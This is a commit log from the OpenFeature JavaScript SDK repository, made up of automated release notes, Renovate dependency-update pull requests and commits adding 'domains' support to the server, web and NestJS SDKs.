## This PR

- adds support for domains
- removes named clients

---------

Signed-off-by: Michael Beemer <michael.beemer@dynatrace.com>
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-02-27 13:12:04 +00:00
OpenFeature Bot 5637cb2776
chore(main): release nestjs-sdk 0.1.0-experimental (#824)
🤖 I have created a release *beep* *boop*
---


##
[0.1.0-experimental](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.0.5-experimental...nestjs-sdk-v0.1.0-experimental)
(2024-02-25)


### ⚠ BREAKING CHANGES

* **nestjs:** add domains
([#831](https://github.com/open-feature/js-sdk/issues/831))

###  New Features

* **nestjs:** add domains
([#831](https://github.com/open-feature/js-sdk/issues/831))
([840d7ac](840d7acaa3))


### 🧹 Chore

* **deps:** update dependency @types/supertest to v6
([#782](https://github.com/open-feature/js-sdk/issues/782))
([53479d1](53479d1edd))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Co-authored-by: Lukas Reining <lukas.reining@codecentric.de>
2024-02-25 14:53:17 +00:00
renovate[bot] 5dbcac4324
chore(deps): update dependency eslint-plugin-jsdoc to v48.1.0 (#819)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [eslint-plugin-jsdoc](https://togithub.com/gajus/eslint-plugin-jsdoc)
| [`48.0.6` ->
`48.1.0`](https://renovatebot.com/diffs/npm/eslint-plugin-jsdoc/48.0.6/48.1.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-jsdoc/48.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-plugin-jsdoc/48.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-plugin-jsdoc/48.0.6/48.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-jsdoc/48.0.6/48.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>gajus/eslint-plugin-jsdoc (eslint-plugin-jsdoc)</summary>

###
[`v48.1.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.1.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.0.6...v48.1.0)

##### Features

- **`check-line-alignment`:** add \`disableWrapIndent\`\` option
([37df54d](37df54dc85))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4xNzMuMCIsInVwZGF0ZWRJblZlciI6IjM3LjE3My4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-02-25 12:40:12 +00:00
renovate[bot] 22447eeccb
chore(deps): update dependency eslint-plugin-jest to v27.9.0 (#818)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[eslint-plugin-jest](https://togithub.com/jest-community/eslint-plugin-jest)
| [`27.6.3` ->
`27.9.0`](https://renovatebot.com/diffs/npm/eslint-plugin-jest/27.6.3/27.9.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-jest/27.9.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-plugin-jest/27.9.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-plugin-jest/27.6.3/27.9.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-jest/27.6.3/27.9.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>jest-community/eslint-plugin-jest
(eslint-plugin-jest)</summary>

###
[`v27.9.0`](https://togithub.com/jest-community/eslint-plugin-jest/blob/HEAD/CHANGELOG.md#2790-2024-02-16)

[Compare
Source](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.8.0...v27.9.0)

##### Features

- add should-be-fine support for flat configs
([#&#8203;1505](https://togithub.com/jest-community/eslint-plugin-jest/issues/1505))
([4cc2a1b](4cc2a1b680))

###
[`v27.8.0`](https://togithub.com/jest-community/eslint-plugin-jest/blob/HEAD/CHANGELOG.md#2780-2024-02-13)

[Compare
Source](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.7.0...v27.8.0)

##### Features

- support `failing.each`
([#&#8203;1499](https://togithub.com/jest-community/eslint-plugin-jest/issues/1499))
([9e9cf83](9e9cf8302a))

###
[`v27.7.0`](https://togithub.com/jest-community/eslint-plugin-jest/blob/HEAD/CHANGELOG.md#2770-2024-02-13)

[Compare
Source](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.6.3...v27.7.0)

##### Features

- allow `[@typescript-eslint](https://togithub.com/typescript-eslint)`
v7
([#&#8203;1500](https://togithub.com/jest-community/eslint-plugin-jest/issues/1500))
([6be2928](6be2928816))

####
[27.6.3](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.6.2...v27.6.3)
(2024-01-12)

##### Bug Fixes

- replace use of deprecated methods
([#&#8203;1453](https://togithub.com/jest-community/eslint-plugin-jest/issues/1453))
([9204a51](9204a51b4a))

####
[27.6.2](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.6.1...v27.6.2)
(2024-01-10)

##### Reverts

- Revert "chore: use relative path to parent `tsconfig.json`
([#&#8203;1476](https://togithub.com/jest-community/eslint-plugin-jest/issues/1476))"
([5e6199d](5e6199d621)),
closes
[#&#8203;1476](https://togithub.com/jest-community/eslint-plugin-jest/issues/1476)

####
[27.6.1](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.6.0...v27.6.1)
(2024-01-01)

##### Bug Fixes

- include plugin `meta` information with snapshot processor for ESLint
v9
([#&#8203;1484](https://togithub.com/jest-community/eslint-plugin-jest/issues/1484))
([067e246](067e246864))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4xNzMuMCIsInVwZGF0ZWRJblZlciI6IjM3LjIwMC4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-02-25 12:40:08 +00:00
renovate[bot] 8a5cb3a6f9
chore(deps): update dependency @types/react to v18.2.57 (#821)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/react](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react)
([source](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react))
| [`18.2.55` ->
`18.2.57`](https://renovatebot.com/diffs/npm/@types%2freact/18.2.55/18.2.57)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact/18.2.57?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2freact/18.2.57?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2freact/18.2.55/18.2.57?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact/18.2.55/18.2.57?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4yMDAuMCIsInVwZGF0ZWRJblZlciI6IjM3LjIwMC4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-02-25 12:38:00 +00:00
Lukas Reining 840d7acaa3
feat(nestjs)!: add domains (#831)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

## This PR
<!-- add the description of the PR here -->

- adds support for domains
- removes named clients

### Related Issues
<!-- add here the GitHub issue that this PR resolves if applicable -->

relates to https://github.com/open-feature/spec/pull/229

---------

Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
Co-authored-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-02-25 12:01:55 +00:00
OpenFeature Bot 6034df4a4f
chore(main): release web-sdk 0.4.13 (#807)
🤖 I have created a release *beep* *boop*
---


##
[0.4.13](https://github.com/open-feature/js-sdk/compare/web-sdk-v0.4.12...web-sdk-v0.4.13)
(2024-02-22)


###  New Features

* add support for domains
([#805](https://github.com/open-feature/js-sdk/issues/805))
([98ba00a](98ba00a28d))


### 🧹 Chore

* **main:** release core 0.0.26
([#823](https://github.com/open-feature/js-sdk/issues/823))
([2fc38bd](2fc38bd838))


### 📚 Documentation

* fix runsOn example on readme
([1096ae5](1096ae5d46))
* improved grammar, added punction to readme
([70bd33d](70bd33db72))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-02-22 13:19:28 -05:00
OpenFeature Bot e3a7378347
chore(main): release server-sdk 1.12.0 (#806)
🤖 I have created a release *beep* *boop*
---


##
[1.12.0](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.11.0...server-sdk-v1.12.0)
(2024-02-22)


###  New Features

* add support for domains
([#805](https://github.com/open-feature/js-sdk/issues/805))
([98ba00a](98ba00a28d))


### 🧹 Chore

* **main:** release core 0.0.26
([#823](https://github.com/open-feature/js-sdk/issues/823))
([2fc38bd](2fc38bd838))


### 📚 Documentation

* add missing punctuation to readme
([4c73189](4c73189f62))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-02-22 13:13:28 -05:00
OpenFeature Bot 2fc38bd838
chore(main): release core 0.0.26 (#823)
🤖 I have created a release *beep* *boop*
---


##
[0.0.26](https://github.com/open-feature/js-sdk/compare/core-v0.0.25...core-v0.0.26)
(2024-02-22)


###  New Features

* add support for domains
([#805](https://github.com/open-feature/js-sdk/issues/805))
([98ba00a](98ba00a28d))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
Co-authored-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
2024-02-22 17:21:18 +00:00
Giovanni Liva ff52cb9835
ci: fix linting PR permissions (#828)
Signed-off-by: Giovanni Liva <giovanni.liva@dynatrace.com>
2024-02-22 11:45:33 -05:00
renovate[bot] 2736e55b18
chore(deps): update nest monorepo to v10.3.3 (#808)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs/common](https://nestjs.com)
([source](https://togithub.com/nestjs/nest/tree/HEAD/packages/common)) |
[`10.3.2` ->
`10.3.3`](https://renovatebot.com/diffs/npm/@nestjs%2fcommon/10.3.2/10.3.3)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcommon/10.3.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcommon/10.3.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcommon/10.3.2/10.3.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcommon/10.3.2/10.3.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [@nestjs/core](https://nestjs.com)
([source](https://togithub.com/nestjs/nest/tree/HEAD/packages/core)) |
[`10.3.2` ->
`10.3.3`](https://renovatebot.com/diffs/npm/@nestjs%2fcore/10.3.2/10.3.3)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcore/10.3.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcore/10.3.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcore/10.3.2/10.3.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcore/10.3.2/10.3.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [@nestjs/platform-express](https://nestjs.com)
([source](https://togithub.com/nestjs/nest/tree/HEAD/packages/platform-express))
| [`10.3.2` ->
`10.3.3`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/10.3.2/10.3.3)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-express/10.3.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-express/10.3.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-express/10.3.2/10.3.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-express/10.3.2/10.3.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [@nestjs/testing](https://nestjs.com)
([source](https://togithub.com/nestjs/nest/tree/HEAD/packages/testing))
| [`10.3.2` ->
`10.3.3`](https://renovatebot.com/diffs/npm/@nestjs%2ftesting/10.3.2/10.3.3)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2ftesting/10.3.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2ftesting/10.3.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2ftesting/10.3.2/10.3.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2ftesting/10.3.2/10.3.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>nestjs/nest (@&#8203;nestjs/common)</summary>

###
[`v10.3.3`](https://togithub.com/nestjs/nest/compare/v10.3.2...v10.3.3)

[Compare
Source](https://togithub.com/nestjs/nest/compare/v10.3.2...v10.3.3)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/core)</summary>

###
[`v10.3.3`](https://togithub.com/nestjs/nest/compare/v10.3.2...v10.3.3)

[Compare
Source](https://togithub.com/nestjs/nest/compare/v10.3.2...v10.3.3)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-express)</summary>

###
[`v10.3.3`](https://togithub.com/nestjs/nest/compare/v10.3.2...v10.3.3)

[Compare
Source](https://togithub.com/nestjs/nest/compare/v10.3.2...v10.3.3)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/testing)</summary>

###
[`v10.3.3`](https://togithub.com/nestjs/nest/compare/v10.3.2...v10.3.3)

[Compare
Source](https://togithub.com/nestjs/nest/compare/v10.3.2...v10.3.3)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4xNzMuMCIsInVwZGF0ZWRJblZlciI6IjM3LjE3My4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-02-20 19:23:05 +00:00
renovate[bot] 53479d1edd
chore(deps): update dependency @types/supertest to v6 (#782)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/supertest](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/supertest)
([source](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/supertest))
| [`^2.0.16` ->
`^6.0.0`](https://renovatebot.com/diffs/npm/@types%2fsupertest/2.0.16/6.0.2)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fsupertest/6.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fsupertest/6.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fsupertest/2.0.16/6.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fsupertest/2.0.16/6.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4xMzUuMCIsInVwZGF0ZWRJblZlciI6IjM3LjEzNS4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-02-20 19:21:25 +00:00
renovate[bot] 8109fd17da
chore(deps): update dependency typedoc to v0.25.8 (#815)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [typedoc](https://typedoc.org)
([source](https://togithub.com/TypeStrong/TypeDoc)) | [`0.25.7` ->
`0.25.8`](https://renovatebot.com/diffs/npm/typedoc/0.25.7/0.25.8) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/typedoc/0.25.8?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typedoc/0.25.8?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typedoc/0.25.7/0.25.8?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typedoc/0.25.7/0.25.8?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>TypeStrong/TypeDoc (typedoc)</summary>

###
[`v0.25.8`](https://togithub.com/TypeStrong/TypeDoc/blob/HEAD/CHANGELOG.md#v0258-2024-02-09)

[Compare
Source](https://togithub.com/TypeStrong/TypeDoc/compare/v0.25.7...v0.25.8)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4xNzMuMCIsInVwZGF0ZWRJblZlciI6IjM3LjE3My4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-02-20 14:20:18 -05:00
Michael Beemer 98ba00a28d
feat: add support for domains (#805)
## This PR

- adds domain as a concept to the server and web SDK
- adds a deprecation warning anywhere client name was exposed to users.
- fixes an issue in the web SDK where context set on a domain before a
provider is registered was not used.

## Addresses

fixes #820
4aa965721f

### Notes

This change is based on [this
spec](https://github.com/open-feature/spec/pull/229) change. I tried to
make it a non-breaking change but I may have missed an untested
condition. Please carefully review to make sure I didn't miss anything.

### Follow-up Tasks

- Update the doc readme parser to support "domain".
- Update the NestJS and React SDKS. We should consider making those a
breaking change since they're sub 1.0.

---------

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-02-20 16:33:34 +00:00
Michael Beemer e2f24fc978
chore(deps): remove unused deps, bumped versions (#812)
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-02-09 13:43:27 -05:00
renovate[bot] fb9f31cb3c
chore(deps): update dependency typedoc to v0.25.7 (#778)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [typedoc](https://typedoc.org)
([source](https://togithub.com/TypeStrong/TypeDoc)) | [`0.25.4` ->
`0.25.7`](https://renovatebot.com/diffs/npm/typedoc/0.25.4/0.25.7) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/typedoc/0.25.7?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typedoc/0.25.7?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typedoc/0.25.4/0.25.7?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typedoc/0.25.4/0.25.7?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>TypeStrong/TypeDoc (typedoc)</summary>

###
[`v0.25.7`](https://togithub.com/TypeStrong/typedoc/releases/tag/v0.25.7)

[Compare
Source](https://togithub.com/TypeStrong/TypeDoc/compare/v0.25.6...v0.25.7)

##### Bug Fixes

- Fixed an issue where a namespace would not be created for merged
function-namespaces only containing types,
[#&#8203;2476](https://togithub.com/TypeStrong/TypeDoc/issues/2476).
- Fixed an infinite loop when converting a union type which directly
contained another union type which refers to itself,
[#&#8203;2469](https://togithub.com/TypeStrong/TypeDoc/issues/2469).

###
[`v0.25.6`](https://togithub.com/TypeStrong/TypeDoc/blob/HEAD/CHANGELOG.md#v0256-2024-01-01)

[Compare
Source](https://togithub.com/TypeStrong/TypeDoc/compare/v0.25.5...v0.25.6)

##### Bug Fixes

- Fixed infinite loop caused by a fix for some complicated
union/intersection types,
[#&#8203;2468](https://togithub.com/TypeStrong/TypeDoc/issues/2468).
- Improved infinite loop detection in type converter to reduce false
positives.

###
[`v0.25.5`](https://togithub.com/TypeStrong/TypeDoc/blob/HEAD/CHANGELOG.md#v0255-2024-01-01)

[Compare
Source](https://togithub.com/TypeStrong/TypeDoc/compare/v0.25.4...v0.25.5)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4xMzUuMCIsInVwZGF0ZWRJblZlciI6IjM3LjEzNS4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-02-08 18:56:25 +00:00
renovate[bot] 3701ab5eba
chore(deps): update dependency prettier to v3.2.5 (#779)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [prettier](https://prettier.io)
([source](https://togithub.com/prettier/prettier)) | [`3.1.1` ->
`3.2.5`](https://renovatebot.com/diffs/npm/prettier/3.1.1/3.2.5) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/prettier/3.2.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/prettier/3.2.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/prettier/3.1.1/3.2.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/prettier/3.1.1/3.2.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>prettier/prettier (prettier)</summary>

###
[`v3.2.5`](https://togithub.com/prettier/prettier/blob/HEAD/CHANGELOG.md#325)

[Compare
Source](https://togithub.com/prettier/prettier/compare/3.2.4...3.2.5)

[diff](https://togithub.com/prettier/prettier/compare/3.2.4...3.2.5)

##### Support Angular inline styles as single template literal
([#&#8203;15968](https://togithub.com/prettier/prettier/pull/15968) by
[@&#8203;sosukesuzuki](https://togithub.com/sosukesuzuki))

[Angular
v17](https://blog.angular.io/introducing-angular-v17-4d7033312e4b)
supports single string inline styles.

<!-- prettier-ignore -->

```ts
// Input
@&#8203;Component({
  template: `<div>...</div>`,
  styles: `h1 { color: blue; }`,
})
export class AppComponent {}

// Prettier 3.2.4
@&#8203;Component({
  template: `<div>...</div>`,
  styles: `h1 { color: blue; }`,
})
export class AppComponent {}

// Prettier 3.2.5
@&#8203;Component({
  template: `<div>...</div>`,
  styles: `
    h1 {
      color: blue;
    }
  `,
})
export class AppComponent {}

```

##### Unexpected embedded formatting for Angular template
([#&#8203;15969](https://togithub.com/prettier/prettier/pull/15969) by
[@&#8203;JounQin](https://togithub.com/JounQin))

Computed template should not be considered as Angular component template

<!-- prettier-ignore -->

```ts
// Input
const template = "foobar";

@&#8203;Component({
  [template]: `<h1>{{       hello }}</h1>`,
})
export class AppComponent {}

// Prettier 3.2.4
const template = "foobar";

@&#8203;Component({
  [template]: `<h1>{{ hello }}</h1>`,
})
export class AppComponent {}

// Prettier 3.2.5
const template = "foobar";

@&#8203;Component({
  [template]: `<h1>{{       hello }}</h1>`,
})
export class AppComponent {}
```

